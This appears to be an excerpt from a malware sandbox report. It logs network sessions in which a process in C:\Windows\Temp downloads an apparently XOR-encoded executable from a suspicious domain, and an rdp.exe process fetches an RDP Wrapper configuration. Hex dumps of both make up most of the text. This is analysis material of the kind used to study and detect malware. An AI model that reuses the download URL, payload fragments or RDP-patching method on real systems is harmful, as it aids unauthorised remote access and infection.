                                                                                                                                          2024-11-08 10:28:28 UTC1369INData Raw: 35 f7 7c bf e4 dd 7e 89 1c 34 7c b9 31 1f 3d 92 34 7c bf 34 7c b9 39 cd 49 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 1e 89 1c 34 7c b9 31 17 3d 92 34 7c bf 34 7c b9 39 35 4a 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 3e 89 1c 34 7c b9 31 3f 3d 92 34 7c bf 34 7c b9 39 3d 4a 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd de 88 1c 34 7c b9 31 c7 3c 92 34 7c bf 34 7c b9 39 35 4a 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd fe 88 1c 34 7c b9 31 ef 3c 92 34 7c bf 34 7c b9 39 dd 49 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 9e 88 1c 34 7c b9 31 f7 3c 92 34 7c bf 34 7c b9 39 d5 49 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd be 88 1c 34 7c b9 31 87 3c 92 34 7c bf 34 7c b9 39 fd 49 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 5e 88 1c 34 7c b9 31 87 3c 92 34 7c bf 34 7c b9 39 c5 49 6c 34 7c b7 0d 34
                                                                                                                                          Data Ascii: 5|~4|1=4|4|9Il4|4A5|4|1=4|4|95Jl4|4A5|>4|1?=4|4|9=Jl4|4A5|4|1<4|4|95Jl4|4A5|4|1<4|4|9Il4|4A5|4|1<4|4|9Il4|4A5|4|1<4|4|9Il4|4A5|^4|1<4|4|9Il4|4
                                                                                                                                          2024-11-08 10:28:28 UTC1369INData Raw: 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd de 83 1c 34 7c b9 31 17 32 92 34 7c bf 34 7c b9 39 15 48 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd fe 83 1c 34 7c b9 31 17 32 92 34 7c bf 34 7c b9 39 25 48 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 9e 83 1c 34 7c b9 31 27 32 92 34 7c bf 34 7c b9 39 cd 4f 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd be 83 1c 34 7c b9 31 37 32 92 34 7c bf 34 7c b9 39 d5 4f 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 5e 83 1c 34 7c b9 31 37 32 92 34 7c bf 34 7c b9 39 ed 4f 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 7e 83 1c 34 7c b9 31 df 31 92 34 7c bf 34 7c b9 39 f5 4f 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 1e 83 1c 34 7c b9 31 e7 31 92 34 7c bf 34 7c b9 39 9d 4f 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 3e 83 1c 34 7c b9 31 ff 31 92 34 7c bf 34 7c b9 39 95
                                                                                                                                          Data Ascii: l4|4A5|4|124|4|9Hl4|4A5|4|124|4|9%Hl4|4A5|4|1'24|4|9Ol4|4A5|4|1724|4|9Ol4|4A5|^4|1724|4|9Ol4|4A5|~4|114|4|9Ol4|4A5|4|114|4|9Ol4|4A5|>4|114|4|9
                                                                                                                                          2024-11-08 10:28:28 UTC1369INData Raw: bf 34 7c b9 39 e5 4c 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd be 86 1c 34 7c b9 31 17 31 92 34 7c bf 34 7c b9 39 8d 4c 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 5e 86 1c 34 7c b9 31 27 31 92 34 7c bf 34 7c b9 39 95 4c 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 7e 86 1c 34 7c b9 31 37 31 92 34 7c bf 34 7c b9 39 bd 4c 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 1e 86 1c 34 7c b9 31 df 30 92 34 7c bf 34 7c b9 39 45 4c 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 3e 86 1c 34 7c b9 31 e7 30 92 34 7c bf 34 7c b9 39 6d 4c 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd de 85 1c 34 7c b9 31 8f 30 92 34 7c bf 34 7c b9 39 75 4c 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd fe 85 1c 34 7c b9 31 97 30 92 34 7c bf 34 7c b9 39 1d 4c 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 9e 85 1c 34 7c b9 31 97 30 92 34
                                                                                                                                          Data Ascii: 4|9Ll4|4A5|4|114|4|9Ll4|4A5|^4|1'14|4|9Ll4|4A5|~4|1714|4|9Ll4|4A5|4|104|4|9ELl4|4A5|>4|104|4|9mLl4|4A5|4|104|4|9uLl4|4A5|4|104|4|9Ll4|4A5|4|104


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          18192.168.11.2049740104.21.86.2194439528C:\Windows\Temp\svczHost.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:29:09 UTC76OUTGET /StaticFile/TermServiceTryRun/89 HTTP/1.1
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          2024-11-08 10:29:10 UTC1101INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:29:10 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 2183168
                                                                                                                                          Connection: close
                                                                                                                                          content-disposition: attachment; filename=image; filename*=UTF-8''image
                                                                                                                                          hash: BFF2365257251B6BA227A5E748DBD62E
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wEbtplscuoF55DjGPeyN%2F9SoGwy61pVpluEDFHzVKGdT%2FO8yknfuG8jnKZAC4ZZMuAUEuguODR7oS0t29UaY%2FLa0lP%2BoAx8L989JCNBhugvNdWmdf06ikJ4tjoM8ExAx089dhWmF6Efv"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1340&sent=3113&recv=1632&lost=0&retrans=0&sent_bytes=4304011&recv_bytes=13975&delivery_rate=48896226&cwnd=255&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4e160ba2cc431-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102561&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=714&delivery_rate=37093&cwnd=201&unsent_bytes=0&cid=1ae46ec6a207fc48&ts=890&x=0"
                                                                                                                                          2024-11-08 10:29:10 UTC268INData Raw: 14 03 09 59 5b 59 59 59 5d 59 56 59 a6 a6 59 59 e1 59 59 59 59 59 59 59 19 59 43 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 58 59 59 e3 49 59 57 46 ed 50 94 78 e1 58 15 94 78 c9 c9 0d 31 30 2a 79 29 2b 36 3e 2b 38 34 79 34 2c 2a 2d 79 3b 3c 79 2b 2c 37 79 2c 37 3d 3c 2b 79 0e 30 37 6a 6b 54 53 7d 6e 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59
                                                                                                                                          Data Ascii: Y[YYY]YVYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYXYYIYWFPxXx10*y)+6>+84y4,*-y;<y+,7y,7=<+y07jkTS}nYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
                                                                                                                                          2024-11-08 10:29:10 UTC1369INData Raw: 59 59 59 59 59 59 59 59 b9 59 5b 58 52 58 5b 40 59 55 57 59 59 19 4a 59 59 59 59 59 25 54 57 59 59 49 59 59 59 69 57 59 59 59 19 59 59 49 59 59 59 5b 59 59 5f 59 59 59 59 59 59 59 5f 59 59 59 59 59 59 59 59 69 7b 59 59 5d 59 59 59 59 59 59 5a 59 19 d8 59 59 49 59 59 19 59 59 59 59 49 59 59 49 59 59 59 59 59 59 49 59 59 59 59 49 56 59 28 59 59 59 59 b9 57 59 5d 48 59 59 59 c9 49 59 59 c5 48 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 19 56 59 55 12 58 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 69 56 59 41 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 51 ba 57 59 c9 5b 59 59 59 59 56 59 3f 5b 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 77 2d 3c 21 2d 59 59 59 79 bf 54 59 59 49 59 59 59 b1 54
                                                                                                                                          Data Ascii: YYYYYYYYY[XRX[@YUWYYJYYYYY%TWYYIYYYiWYYYYYIYYY[YY_YYYYYYY_YYYYYYYYi{YY]YYYYYYZYYYIYYYYYYIYYIYYYYYYIYYYYIVY(YYYYWY]HYYYIYYHYYYYYYYYYYYYYYYYYYVYUXYYYYYYYYYYYYYYYYYYYYYYYYYYiVYAYYYYYYYYYYYYYYYYYYYQWY[YYYYVY?[YYYYYYYYYYYYYYYYYYw-<!-YYYyTYYIYYYT
                                                                                                                                          2024-11-08 10:29:10 UTC1369INData Raw: 35 5b 59 59 59 d9 a6 a6 a6 26 01 4b 19 59 5c 1f 38 35 2a 3c 5d 0d 2b 2c 3c 5f 0a 20 2a 2d 3c 34 5b 59 59 d5 4b 19 59 5a 51 15 36 37 3e 1b 36 36 35 5d 59 59 59 d9 a6 a6 a6 26 d1 4b 19 59 5c 1f 38 35 2a 3c 5d 0d 2b 2c 3c 5f 0a 20 2a 2d 3c 34 5b 59 59 e5 4b 19 59 4b 5f 2a 2d 2b 30 37 3e 5b 59 59 59 95 4b 19 59 52 53 0e 30 3d 3c 0a 2d 2b 30 37 3e 5b 59 59 59 b9 4b 19 59 53 53 18 37 2a 30 0a 2d 2b 30 37 3e 59 59 5b 59 ad 4b 19 59 55 5e 0f 38 2b 30 38 37 2d 5b 59 59 5d 4a 19 59 55 53 16 35 3c 0f 38 2b 30 38 37 2d 5b 59 59 59 41 4a 19 59 4a 5f 0d 1a 35 38 2a 2a c5 46 19 59 5b 59 59 59 75 4a 19 59 58 5e 11 0b 1c 0a 0c 15 0d 5d 59 59 59 d9 a6 a6 a6 26 5b 59 1d 4a 19 59 57 5c 0d 1e 0c 10 1d 49 59 59 59 59 59 59 59 59 5d 59 59 59 bd 49 19 59 59 59 59 59 5b 5b 1d 68
                                                                                                                                          Data Ascii: 5[YYY&KY\85*<]+,<_ *-<4[YYKYZQ67>665]YYY&KY\85*<]+,<_ *-<4[YYKYK_*-+07>[YYYKYRS0=<-+07>[YYYKYSS7*0-+07>YY[YKYU^8+087-[YY]JYUS5<8+087-[YYYAJYJ_58**FY[YYYuJYX^]YYY&[YJYW\IYYYYYYYY]YYYIYYYYY[[h
                                                                                                                                          2024-11-08 10:29:10 UTC1369INData Raw: ad a6 49 43 19 59 1a 59 ad a6 62 43 19 59 1a 59 ad a6 3d 43 19 59 1a 59 ad a6 c9 43 19 59 1a 59 ad a6 95 43 19 59 1a 59 ad a6 5e 42 19 59 1a 59 ad a6 1b 42 19 59 1a 59 ad a6 d1 42 19 59 1a 59 ad a6 9c 42 19 59 1b 59 ad a6 a6 42 19 59 1b 59 ad a6 60 45 19 59 1b 59 ad a6 26 45 19 59 1a 59 ad a6 e4 45 19 59 1a 59 ad a6 b7 45 19 59 1a 59 ad a6 78 44 19 59 1a 59 ad a6 0c 44 19 59 13 59 ac a6 d1 44 19 59 13 59 af a6 ea 44 19 59 13 59 ae a6 bf 44 19 59 13 59 a1 a6 18 47 19 59 13 59 a0 a6 2b 47 19 59 13 59 a3 a6 fa 47 19 59 13 59 a2 a6 85 47 19 59 13 59 a5 a6 42 46 19 59 12 59 a4 a6 1f 46 19 59 13 59 a7 a6 2b 46 19 59 14 59 a6 a6 59 59 5e 0d 16 3b 33 3c 3a 2d 7f 59 89 d7 19 59 5f 1a 2b 3c 38 2d 3c 5a 59 59 59 59 59 51 59 58 51 c5 46 19 59 59 59 5d 0a 3c 35 3f 5b
                                                                                                                                          Data Ascii: ICYYbCYY=CYYCYYCYY^BYYBYYBYYBYYBYY`EYY&EYYEYYEYYxDYYDYYDYYDYYDYYGYY+GYYGYYGYYBFYYFYY+FYYYY^;3<:-YY_+<8-<ZYYYYYQYXQFYYY]<5?[
                                                                                                                                          2024-11-08 10:29:10 UTC516INData Raw: 19 59 58 59 58 58 5b 59 5b 59 6d 59 61 c8 19 59 50 0c 37 30 2d 0a 3a 36 29 3c 5a 59 e1 4b 19 59 51 59 5b 59 59 59 59 59 59 59 5d 0a 3c 35 3f 5b 59 19 e1 4b 19 59 58 59 58 58 5b 59 5b 59 6a 59 45 c9 19 59 5f 1c 28 2c 38 35 2a 5a 59 59 49 19 59 51 59 5b 51 c5 46 19 59 59 59 5d 0a 3c 35 3f 5b 59 51 c5 46 19 59 58 59 5a 16 3b 33 5b 59 5b 59 72 59 7d c9 19 59 52 1e 3c 2d 11 38 2a 31 1a 36 3d 3c 5a 59 c5 49 19 59 51 59 58 51 c5 46 19 59 59 59 5d 0a 3c 35 3f 5b 59 5b 59 6a 59 55 ca 19 59 51 0d 36 0a 2d 2b 30 37 3e 5a 59 e1 4b 19 59 51 59 5b 51 c5 46 19 59 59 59 5d 0a 3c 35 3f 5b 59 19 e1 4b 19 59 58 59 58 58 5b 59 5b 59 02 59 5d ca 19 59 48 0a 38 3f 3c 1a 38 35 35 1c 21 3a 3c 29 2d 30 36 37 5a 59 71 4a 19 59 51 59 5a 51 c5 46 19 59 59 59 5d 0a 3c 35 3f 5b 59 51
                                                                                                                                          Data Ascii: YXYXX[Y[YmYaYP70-:6)<ZYKYQY[YYYYYYY]<5?[YKYXYXX[Y[YjYEY_(,85*ZYYIYQY[QFYYY]<5?[YQFYXYZ;3[Y[YrY}YR<-8*16=<ZYIYQYXQFYYY]<5?[Y[YjYUYQ6-+07>ZYKYQY[QFYYY]<5?[YKYXYXX[Y[YY]YH8?<855!:<)-067ZYqJYQYZQFYYY]<5?[YQ
                                                                                                                                          2024-11-08 10:29:10 UTC1369INData Raw: 72 59 b5 d4 19 59 52 17 3c 2e 10 37 2a 2d 38 37 3a 3c 5a 59 c5 46 19 59 51 59 58 59 59 59 59 59 59 59 5d 0a 3c 35 3f 5b 59 5b 59 75 59 5d d7 19 59 55 1f 2b 3c 3c 10 37 2a 2d 38 37 3a 3c 5a 59 59 59 59 59 51 59 58 51 c5 46 19 59 59 59 5d 0a 3c 35 3f 5b 59 5b 59 7e 59 a9 d7 19 59 5e 1d 3c 2a 2d 2b 36 20 5a 59 59 59 59 59 51 59 58 51 c5 46 19 59 59 59 5d 0a 3c 35 3f 5b 59 5b 59 59 59 59 f9 46 19 59 5e 5e 0d 16 3b 33 3c 3a 2d 25 4e 19 59 59 59 59 59 59 59 5f 0a 20 2a 2d 3c 34 59 59 59 59 5b 59 59 59 59 59 45 79 19 59 59 59 59 59 59 59 59 59 59 59 59 59 61 79 19 59 59 59 59 59 45 79 19 59 59 59 59 59 7b 79 19 59 51 59 59 59 7d 4e 19 59 45 c9 19 59 7d c9 19 59 55 ca 19 59 5d ca 19 59 7d ca 19 59 71 ca 19 59 75 ca 19 59 79 ca 19 59 b5 d4 19 59 5d d7 19 59 a9 d7
                                                                                                                                          Data Ascii: rYYR<.7*-87:<ZYFYQYXYYYYYYY]<5?[Y[YuY]YU+<<7*-87:<ZYYYYYQYXQFYYY]<5?[Y[Y~YY^<*-+6 ZYYYYYQYXQFYYY]<5?[Y[YYYYFY^^;3<:-%NYYYYYYY_ *-<4YYYY[YYYYYEyYYYYYYYYYYYYYayYYYYYEyYYYYY{yYQYYY}NYEY}YUY]Y}YqYuYyYY]Y
                                                                                                                                          2024-11-08 10:29:10 UTC1369INData Raw: 5b 59 51 6d cf 19 59 5d 1c 21 30 2d 59 59 59 59 59 59 59 5b 59 59 59 59 c9 7d 19 59 57 51 0d 14 36 37 30 2d 36 2b 45 59 59 59 59 59 59 59 59 5e 59 59 59 c5 49 19 59 59 59 59 59 59 53 1f 15 36 3a 32 1a 36 2c 37 2d 55 59 69 7b 19 59 89 d7 19 59 59 59 c5 49 19 59 5d 59 59 59 59 56 1f 0b 3c 3a 2c 2b 2a 30 36 37 1a 36 2c 37 2d 5b 59 bd 49 19 59 51 59 59 59 59 54 1f 16 2e 37 30 37 3e 0d 31 2b 3c 38 3d 5b 59 59 48 19 59 55 59 59 59 59 53 1f 15 36 3a 32 1c 2f 3c 37 2d 5b 59 c5 49 19 59 49 59 59 59 59 53 1f 0a 29 30 37 1a 36 2c 37 2d 5b 59 c5 7a 19 59 4d 59 59 59 59 53 1f 0e 38 30 2d 08 2c 3c 2c 3c 5b 59 71 7d 19 59 41 59 59 59 59 53 1f 08 2c 3c 2c 3c 15 36 3a 32 5b 59 5b 59 50 59 50 39 c4 19 59 55 0a 3c 2d 0a 29 30 37 1a 36 2c 37 2d 59 59 59 59 59 59 5b 53 c5 46
                                                                                                                                          Data Ascii: [YQmY]!0-YYYYYYY[YYYY}YWQ670-6+EYYYYYYYY^YYYIYYYYYYS6:26,7-UYi{YYYYIY]YYYYV<:,+*0676,7-[YIYQYYYYT.707>1+<8=[YYHYUYYYYS6:2/<7-[YIYIYYYYS)076,7-[YzYMYYYYS80-,<,<[Yq}YAYYYYS,<,<6:2[Y[YPYP9YU<-)076,7-YYYYYY[SF
                                                                                                                                          2024-11-08 10:29:10 UTC1369INData Raw: 73 19 59 59 59 59 59 4d 73 19 59 59 59 59 59 43 73 19 59 55 59 59 59 7d 4e 19 59 45 c9 19 59 7d c9 19 59 55 ca 19 59 5d ca 19 59 7d ca 19 59 71 ca 19 59 75 ca 19 59 79 ca 19 59 b5 d4 19 59 5d d7 19 59 a9 d7 19 59 59 59 59 59 59 59 48 0d 17 36 0b 3c 3f 1a 36 2c 37 2d 16 3b 33 3c 3a 2d 69 73 19 59 5e 48 0d 17 36 0b 3c 3f 1a 36 2c 37 2d 16 3b 33 3c 3a 2d 4d 73 19 59 c5 46 19 59 59 59 5f 0a 20 2a 2d 3c 34 59 59 59 59 5b 59 59 59 39 73 19 59 4d 55 09 0a 31 36 2b 2d 0a 2d 2b 30 37 3e bd 48 19 59 5b 59 21 73 19 59 53 53 0c 0d 1f 61 0a 2d 2b 30 37 3e b0 a4 5b 59 d5 73 19 59 53 54 0b 38 2e 1b 20 2d 3c 0a 2d 2b 30 37 3e a6 a6 5b 59 59 fd 73 19 59 4d 5c 09 1b 20 2d 3c ed 49 19 59 5b 59 59 59 59 e1 73 19 59 4d 5f 09 10 37 2d 6f 6d 4d 48 19 59 5b 59 59 59 95 73 19 59
                                                                                                                                          Data Ascii: sYYYYYMsYYYYYCsYUYYY}NYEY}YUY]Y}YqYuYyYY]YYYYYYYYH6<?6,7-;3<:-isY^H6<?6,7-;3<:-MsYFYYY_ *-<4YYYY[YYY9sYMU16+--+07>HY[Y!sYSSa-+07>[YsYST8. -<-+07>[YYsYM\ -<IY[YYYYsYM_7-omMHY[YYYsY
                                                                                                                                          2024-11-08 10:29:10 UTC1369INData Raw: 5b 59 59 59 5b 5f 0f 1b 20 2d 3c 2a 5b 59 59 59 59 59 59 59 59 59 5b 5e 0b 38 2e 1d 38 2d 38 5b 59 5b 59 59 59 59 09 76 19 59 5a 50 0d 0d 20 29 3c 12 30 37 3d 58 59 59 59 59 4f 59 59 59 15 76 19 59 50 2d 32 0c 37 32 37 36 2e 37 50 2d 32 10 37 2d 3c 3e 3c 2b 5f 2d 32 1a 31 38 2b 54 2d 32 1c 37 2c 34 3c 2b 38 2d 30 36 37 5e 2d 32 1f 35 36 38 2d 51 2d 32 0a 2d 2b 30 37 3e 5c 2d 32 0a 3c 2d 5e 2d 32 1a 35 38 2a 2a 51 2d 32 14 3c 2d 31 36 3d 5e 2d 32 0e 1a 31 38 2b 50 2d 32 15 0a 2d 2b 30 37 3e 50 2d 32 0e 0a 2d 2b 30 37 3e 50 2d 32 0f 38 2b 30 38 37 2d 5e 2d 32 18 2b 2b 38 20 51 2d 32 0b 3c 3a 36 2b 3d 52 2d 32 10 37 2d 3c 2b 3f 38 3a 3c 5e 2d 32 10 37 2d 6f 6d 53 2d 32 1d 20 37 18 2b 2b 38 20 50 2d 32 0c 0a 2d 2b 30 37 3e 53 2d 32 1a 35 38 2a 2a 0b 3c 3f 50
                                                                                                                                          Data Ascii: [YYY[_ -<*[YYYYYYYYY[^8.8-8[Y[YYYYvYZP )<07=XYYYYOYYYvYP-27276.7P-27-<><+_-218+T-27,4<+8-067^-2568-Q-2-+07>\-2<-^-258**Q-2<-16=^-218+P-2-+07>P-2-+07>P-28+087-^-2++8 Q-2<:6+=R-27-<+?8:<^-27-omS-2 7++8 P-2-+07>S-258**<?P
                                                                                                                                          2024-11-08 10:29:10 UTC1369INData Raw: a6 f0 66 19 59 1a 59 ad a6 a5 66 19 59 1a 59 ad a6 14 19 19 59 1a 59 ad a6 cb 19 19 59 1a 59 ad a6 81 19 19 59 1a 59 ad a6 47 18 19 59 1a 59 ad a6 3d 18 19 59 1a 59 ad a6 f1 18 19 59 1a 59 ad a6 af 18 19 59 1a 59 ad a6 75 1b 19 59 1a 59 ad a6 3d 1b 19 59 1a 59 ad a6 f9 1b 19 59 1a 59 ad a6 82 1b 19 59 1a 59 ad a6 40 1a 19 59 1a 59 ad a6 30 1a 19 59 1a 59 ad a6 f3 1a 19 59 1a 59 ad a6 bf 1a 19 59 1a 59 ad a6 6d 1d 19 59 1a 59 ad a6 2b 1d 19 59 1a 59 ad a6 f7 1d 19 59 1a 59 ad a6 5a 1c 19 59 1a 59 ad a6 33 1c 19 59 1a 59 ad a6 9b 1c 19 59 1a 59 ad a6 4e 1f 19 59 1a 59 ad a6 dc 1f 19 59 1a 59 ad a6 bd 1f 19 59 1a 59 ad a6 19 1e 19 59 1a 59 ad a6 ff 1e 19 59 1a 59 ad a6 47 11 19 59 1a 59 ad a6 c8 11 19 59 1a 59 ad a6 4f 10 19 59 1a 59 ad a6 26 10 19 59 1a 59
                                                                                                                                          Data Ascii: fYYfYYYYYYYYGYY=YYYYYYuYY=YYYYYY@YY0YYYYYYmYY+YYYYZYY3YYYYNYYYYYYYYYYGYYYYOYY&YY


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          19192.168.11.2049743185.199.110.1334437036C:\Windows\Temp\rdp.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:29:16 UTC151OUTGET /sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini HTTP/1.1
                                                                                                                                          User-Agent: RDP Wrapper Update
                                                                                                                                          Host: raw.githubusercontent.com
                                                                                                                                          Cache-Control: no-cache
                                                                                                                                          2024-11-08 10:29:16 UTC899INHTTP/1.1 200 OK
                                                                                                                                          Connection: close
                                                                                                                                          Content-Length: 451403
                                                                                                                                          Cache-Control: max-age=300
                                                                                                                                          Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
                                                                                                                                          Content-Type: text/plain; charset=utf-8
                                                                                                                                          ETag: "e851266d120f779cf9bcc701517a6f84b8dbdd12fa49655a6eb06b1feba98d63"
                                                                                                                                          Strict-Transport-Security: max-age=31536000
                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                          X-Frame-Options: deny
                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                          X-GitHub-Request-Id: E8BC:CBA4B:27F7C4:2C8DCE:672DDA1A
                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                          Date: Fri, 08 Nov 2024 10:29:16 GMT
                                                                                                                                          Via: 1.1 varnish
                                                                                                                                          X-Served-By: cache-ewr-kewr1740020-EWR
                                                                                                                                          X-Cache: HIT
                                                                                                                                          X-Cache-Hits: 0
                                                                                                                                          X-Timer: S1731061756.207853,VS0,VE9
                                                                                                                                          Vary: Authorization,Accept-Encoding,Origin
                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                          Cross-Origin-Resource-Policy: cross-origin
                                                                                                                                          X-Fastly-Request-ID: 23b30690dbfb4d63a922674f1434800c0d3b3514
                                                                                                                                          Expires: Fri, 08 Nov 2024 10:34:16 GMT
                                                                                                                                          Source-Age: 0
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 3b 20 52 44 50 20 57 72 61 70 70 65 72 20 4c 69 62 72 61 72 79 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 0d 0a 3b 20 44 6f 20 6e 6f 74 20 6d 6f 64 69 66 79 20 77 69 74 68 6f 75 74 20 73 70 65 63 69 61 6c 20 6b 6e 6f 77 6c 65 64 67 65 0d 0a 3b 20 45 64 69 74 65 64 20 62 79 20 73 65 62 61 78 61 6b 65 72 68 74 63 0d 0a 0d 0a 5b 4d 61 69 6e 5d 0d 0a 55 70 64 61 74 65 64 3d 32 30 32 34 2d 31 31 2d 30 32 0d 0a 4c 6f 67 46 69 6c 65 3d 5c 72 64 70 77 72 61 70 2e 74 78 74 0d 0a 53 4c 50 6f 6c 69 63 79 48 6f 6f 6b 4e 54 36 30 3d 31 0d 0a 53 4c 50 6f 6c 69 63 79 48 6f 6f 6b 4e 54 36 31 3d 31 0d 0a 0d 0a 5b 53 4c 50 6f 6c 69 63 79 5d 0d 0a 54 65 72 6d 69 6e 61 6c 53 65 72 76 69 63 65 73 2d 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 69 6f 6e 4d 61 6e 61 67 65 72 2d 41 6c
                                                                                                                                          Data Ascii: ; RDP Wrapper Library configuration; Do not modify without special knowledge; Edited by sebaxakerhtc[Main]Updated=2024-11-02LogFile=\rdpwrap.txtSLPolicyHookNT60=1SLPolicyHookNT61=1[SLPolicy]TerminalServices-RemoteConnectionManager-Al
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 38 39 38 31 33 38 30 36 30 30 30 30 39 30 45 42 0d 0a 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 73 69 3d 42 38 30 30 30 31 30 30 30 30 38 39 38 36 32 30 30 33 30 30 30 30 39 30 0d 0a 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 64 69 3d 42 38 30 30 30 31 30 30 30 30 38 39 38 37 33 38 30 36 30 30 30 30 39 30 0d 0a 3b 20 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 63 78 3d 42 38 30 30 30 31 30 30 30 30 38 39 38 31 32 30 30 33 30 30 30 30 39 30 0d 0a 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 63 78 3d 42 38 30 30 30 31 30 30 30 30 38 39 38 31 32 34 30 33 30 30 30 30 39 30 0d 0a 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 65 63 78 5f 6a 6d 70 3d 42 38
                                                                                                                                          Data Ascii: 89813806000090EBCDefPolicy_Query_eax_esi=B80001000089862003000090CDefPolicy_Query_eax_rdi=B80001000089873806000090; CDefPolicy_Query_eax_ecx=B80001000089812003000090CDefPolicy_Query_eax_ecx=B80001000089812403000090CDefPolicy_Query_eax_ecx_jmp=B8
                                                                                                                                          2024-11-08 10:29:16 UTC1378INData Raw: 42 44 37 0d 0a 44 65 66 50 6f 6c 69 63 79 43 6f 64 65 2e 78 36 34 3d 43 44 65 66 50 6f 6c 69 63 79 5f 51 75 65 72 79 5f 65 61 78 5f 72 63 78 5f 6a 6d 70 0d 0a 0d 0a 5b 36 2e 30 2e 36 30 30 32 2e 31 38 30 30 35 5d 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 38 36 3d 31 37 46 41 38 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 38 36 3d 6e 6f 70 0d 0a 53 69 6e 67 6c 65 55 73 65 72 50 61 74 63 68 2e 78 36 34 3d 31 0d 0a 53 69 6e 67 6c 65 55 73 65 72 4f 66 66 73 65 74 2e 78 36 34 3d 37 30 46 46 36 0d 0a 53 69 6e 67 6c 65 55 73 65 72 43 6f 64 65 2e 78 36 34 3d 5a 65 72 6f 0d 0a 44 65 66 50 6f 6c 69 63 79 50 61 74 63 68 2e 78 38 36 3d 31 0d 0a 44 65 66 50 6f 6c 69 63 79
